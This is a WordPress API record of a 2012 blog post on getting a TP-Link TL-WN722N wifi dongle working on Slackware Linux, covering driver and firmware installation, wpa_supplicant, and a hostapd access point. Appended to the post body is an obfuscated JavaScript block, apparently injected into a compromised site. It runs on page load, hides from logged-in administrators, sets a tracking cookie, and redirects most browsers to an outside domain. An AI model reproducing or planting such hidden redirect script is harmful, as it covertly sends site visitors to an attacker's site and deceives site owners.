{"id":456,"date":"2012-05-04T15:31:55","date_gmt":"2012-05-04T07:31:55","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=456"},"modified":"2012-05-04T15:33:58","modified_gmt":"2012-05-04T07:33:58","slug":"tl-wn722n-usb-wireless-stick-in-linux","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/05\/04\/tl-wn722n-usb-wireless-stick-in-linux\/","title":{"rendered":"TL-WN722N usb wireless stick in Linux"},"content":{"rendered":"<p>Using TP-Link, TL-WN722N usb wifi dongle in Linux, you could use the dongle to access wifi hotspot or you could using it as a access point to provide wifi connectivity for other devices.<br \/>\n<!--more--><\/p>\n<h1>Hardware infomation<\/h1>\n<ul>\n<li><a href=\"http:\/\/www.tp-link.com\/en\/products\/details\/?model=TL-WN722N\" target=\"_blank\">TP-Link TL-WN722N<\/a><\/li>\n<li><a href=\"http:\/\/linuxwireless.org\/en\/users\/Drivers\/ath9k_htc\/devices\" target=\"_blank\">Linux wireless<\/a><\/li>\n<\/ul>\n<h1>Software information<\/h1>\n<ul>\n<li>OS: Slackware 13.37<\/li>\n<\/ul>\n<h1>Driver installation<\/h1>\n<p>Simply plug the stick will not work.  First, it complain <strong>ar9271.fw<\/strong> not found.  Although I found the fw file, the system having kernel core dump when loading the kernel module.  Anyway, you should use the latest driver from <a href=\"http:\/\/linuxwireless.org\/\" target=\"_blank\">Linux wireless<\/a> to use the stick.<\/p>\n<pre>\r\nwget http:\/\/wireless.kernel.org\/download\/compat-wireless-2.6\/compat-wireless-2.6.tar.bz2 \r\n\r\ntar -jxvf compat-wireless-2.6.tar.bz2 \r\ncd compat-wireless-2012-04-26\/\r\n.\/scripts\/driver-select ath9k_htc \r\nmake \r\nmake install\r\n<\/pre>\n<p>The kernel module will install into \/lib\/modules\/2.6.37.6\/updates, which won&#8217;t affect OS kernel module.<\/p>\n<p>Anyway you may need reboot your machine after install the latest kernel modules.<\/p>\n<h1>Firmware<\/h1>\n<p>You system should complain <strong>Failed to get firmware htc_9271.fw<\/strong>.  You could get the firmware by:<\/p>\n<pre>\r\ngit clone git:\/\/git.kernel.org\/pub\/scm\/linux\/kernel\/git\/dwmw2\/linux-firmware.git\r\ncp htc_9271.fw \/lib\/firmware\/\r\n<\/pre>\n<p>Your system could use the stick now.  e.g., <strong>ifconfig wlan0<\/strong> should give you something.<\/p>\n<h1><a href=\"http:\/\/hostap.epitest.fi\/wpa_supplicant\/\" target=\"_blank\">Linux WPA\/WPA2\/IEEE 802.1X Supplicant<\/a><\/h1>\n<p>To connect wifi router using WPA\/WPA2,<\/p>\n<ul>\n<li>edit wpa_supplicant.conf\n<pre>\r\nnetwork={\r\n  scan_ssid=0\r\n  ssid=\"XYZ XYZ\"\r\n  proto=WPA RSN\r\n  key_mgmt=WPA-PSK\r\n  pairwise=CCMP TKIP\r\n  group=CCMP TKIP WEP104 WEP40\r\n#  psk=your_64_char_psk_here\r\n  psk=xxxxxxxxxxxxxxxxxxxxxxxxx\r\n  priority=10\r\n}\r\n<\/pre>\n<\/li>\n<li>psk could get from\n<pre>\r\nwpa_passphrase 'XYZ XYZ' &lt;psk secret&gt;\r\n<\/pre>\n<\/li>\n<li>Connect the wifi router and get IP address\n<pre>\r\nwpa_supplicant -B -Dwext -i wlan0 -c \/etc\/wpa_supplicant.conf\r\ndhcpcd -t 10 wlan0\r\n<\/pre>\n<\/li>\n<\/ul>\n<h1>Setup an Access Point<\/h1>\n<p>To set up an WPA\/WPA2 access point using Linux,<\/p>\n<ul>\n<li>Get <a href=\"http:\/\/hostap.epitest.fi\/hostapd\/\" target=\"_blank\">hostapd<\/a><\/li>\n<li>Build it\n<pre>\r\ntar zxvf hostapd-0.7.3.tar.gz\r\ncd hostapd-0.7.3\/hostapd\r\ncp defconfig .config\r\n<\/pre>\n<\/li>\n<li>Modify <strong>.config<\/strong>, suggested options:\n<pre>\r\nCONFIG_DRIVER_NL80211=y\r\nCONFIG_IEEE80211N=y\r\n<\/pre>\n<\/li>\n<p><strong>make<\/strong> it<\/li>\n<li>Modify <strong>hostapd.conf<\/strong>, suggested options:\n<pre>\r\ninterface=wlan0\r\nssid=xyzxyzxyz\r\nhw_mode=g\r\nchannel=<an integer suit your country>\r\nwmm_enabled=1\r\nieee80211n=1\r\nht_capab=[HT40-][SHORT-GI-20][SHORT-GI-40]\r\nwpa=3\r\nwpa_passphrase=&lt;a share secret&gt;\r\nwpa_key_mgmt=WPA-PSK\r\nwpa_pairwise=TKIP\r\nrsn_pairwise=CCMP\r\n<\/pre>\n<\/li>\n<li>Setup dhcpd.conf to offer dhcp function\n<pre>\r\nsubnet 192.168.66.0 netmask 255.255.255.0 {\r\n  option domain-name-servers 192.168.66.1;\r\n  option subnet-mask 255.255.255.0;\r\n  option broadcast-address 192.168.66.255;\r\n  option routers 192.168.66.1;\r\n  range 192.168.66.100 192.168.66.200;\r\n  max-lease-time 7200;\r\n  default-lease-time 3600;\r\n}\r\n<\/pre>\n<\/li>\n<li>Start the AP now!\n<pre>\r\nifconfig wlan0 192.168.66.1 up\r\n\/usr\/sbin\/dhcpd wlan0\r\n.\/hostapd hostapd.conf\r\n<\/pre>\n<\/li>\n<\/ul>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Using TP-Link, TL-WN722N usb wifi dongle in Linux, you could use the dongle to access wifi hotspot or you could using it as a access point to provide wifi connectivity for other devices.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[3,8],"tags":[68,66,67],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/456"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=456"}],"version-history":[{"count":11,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/456\/revisions"}],"predecessor-version":[{"id":485,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/456\/revisions\/485"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=456"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=456"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=456"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}